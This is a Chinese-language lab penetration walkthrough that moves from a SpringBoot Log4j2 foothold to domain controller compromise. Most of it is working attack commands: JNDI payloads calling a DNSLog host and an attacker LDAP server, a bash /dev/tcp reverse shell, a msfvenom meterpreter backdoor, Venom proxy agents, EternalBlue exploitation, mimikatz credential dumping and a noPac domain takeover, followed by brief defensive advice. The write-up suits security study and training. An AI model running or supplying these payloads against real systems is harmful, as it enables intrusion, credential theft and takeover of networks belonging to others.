记一次靶场渗透
字数 1598 2025-08-24 20:49:22
SpringBoot靶场渗透实战:从外网打点到域控提权
1. 信息收集与漏洞发现
1.1 端口扫描
- 初始扫描发现开放端口:38080(web服务)和22(SSH)
- 使用工具:常规端口扫描工具(nmap等)
1.2 Web应用识别
- 访问38080端口显示error page
- 使用Wappalyzer尝试识别架构未果
- 通过报错信息百度确认是SpringBoot应用
- 使用Goby扫描确认Spring框架
1.3 Log4j2漏洞验证
- 发现应用可能使用Log4j2日志组件
- 使用DNSLog验证漏洞:
${jndi:ldap://p9j8l8.dnslog.cn} - 观察到DNSLog回显,确认漏洞存在
2. 漏洞利用与初始访问
2.1 搭建LDAP服务
- 使用JNDIExploit工具搭建LDAP服务:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105
2.2 构造恶意请求
- 抓包修改Content-Type:
Content-Type: appllication/x-www-form-urlencoded - 执行测试payload:
${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho} - 验证命令执行:
ls -al /
2.3 反弹Shell获取
- 准备反弹Shell命令:
bash -i >& /dev/tcp/192.168.1.105/9999 0>&1 - 对命令进行Base64编码
- 对Base64结果进行两层URL编码
- 构造最终payload:
${jndi:ldap://192.168.1.105:1389/TomcatBypass/Command/Base64/双层转码后的字符} - 使用nc监听9999端口获取Shell
3. 权限提升与横向移动
3.1 信息收集
- 发现处于Docker环境
- 尝试Docker逃逸未成功
- 在根目录发现第一个flag
- 发现开放22端口,尝试SSH连接成功
3.2 内网探测
ifconfig发现内网网段10.0.1.0/24- 使用ping扫描存活主机:
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
3.3 内网代理建立
-
使用毒液(Venom)建立代理:
- 监听端执行:
admin.exe -lport 7777 - 靶机端执行:
chmod 777 agent_linux_x86 ./agent_linux_x86 -rhost 192.168.1.105 -rport 7777
- 监听端执行:
-
使用MSF生成Linux后门:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf- 靶机执行:
chmod 777 shell.elf ./shell.elf - MSF监听:
use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
- 靶机执行:
3.4 内网路由配置
- 添加内网路由:
route add 10.0.1.0 255.255.255.0 1 route print - 配置proxychain:
vim /etc/proxychain4.conf - 启动socks代理:
use auxiliary/server/socks_proxy run
4. 内网横向移动
4.1 内网主机扫描
- 使用proxychain配合nmap扫描:
proxychains4 nmap -sT -Pn 10.0.1.7 - 发现445端口开放
4.2 SMB服务利用
-
确认系统版本:
use auxiliary/scanner/smb/smb_version发现是Win7 SP1系统
-
检测永恒之蓝漏洞:
use auxiliary/scanner/smb/smb_ms17_010确认存在漏洞
-
利用永恒之蓝:
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set RHOST 10.0.1.7 run- 获取system权限meterpreter
- 在
C:\Users\root\Desktop找到第二个flag
5. 域渗透与域控提权
5.1 域环境发现
ipconfig /all发现DNS服务器为redteam.lab- 确认域控IP:
得到域控IP为10.0.0.12ping redteam.lab
5.2 凭证获取
- 上传mimikatz抓取密码:
获取到域管凭证:privilege::debug sekurlsa::logonpasswordsAdministrator/Admin12345
5.3 noPac漏洞利用(CVE-2021-42287/42278)
-
尝试使用noPac.exe利用失败(缺少.NET 4.0环境)
-
手动利用步骤:
- 创建机器账户(使用impacket或powermad)
- 清除机器账户的servicePrincipalName属性
- 修改sAMAccountName为DC机器账户名(不带$)
- 请求TGT
- 修改sAMAccountName为其他名称
- 通过S4U2self协议请求ST
- 执行DCsync攻击
-
使用sam_the_admin.py直接攻击:
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell- 获取DC的shell
- 在
C:\Users\Administrator\Desktop找到最终flag
6. 工具与资源
-
关键工具:
- JNDIExploit:用于搭建LDAP服务
- 毒液(Venom):内网代理工具
- Mimikatz:凭证获取工具
- noPac:域漏洞利用工具
- impacket工具包:包含多种内网渗透工具
-
noPac下载地址:
https://github.com/cube0x0/noPac
7. 防御建议
-
针对Log4j2漏洞:
- 升级Log4j2到最新安全版本
- 设置JVM参数限制JNDI访问
-
针对内网渗透:
- 实施网络分段,限制横向移动
- 监控异常网络连接和代理行为
-
针对域安全:
- 定期更新域控补丁
- 监控异常域账户行为
- 实施强密码策略和双因素认证
-
针对永恒之蓝:
- 及时安装MS17-010补丁
- 禁用SMBv1协议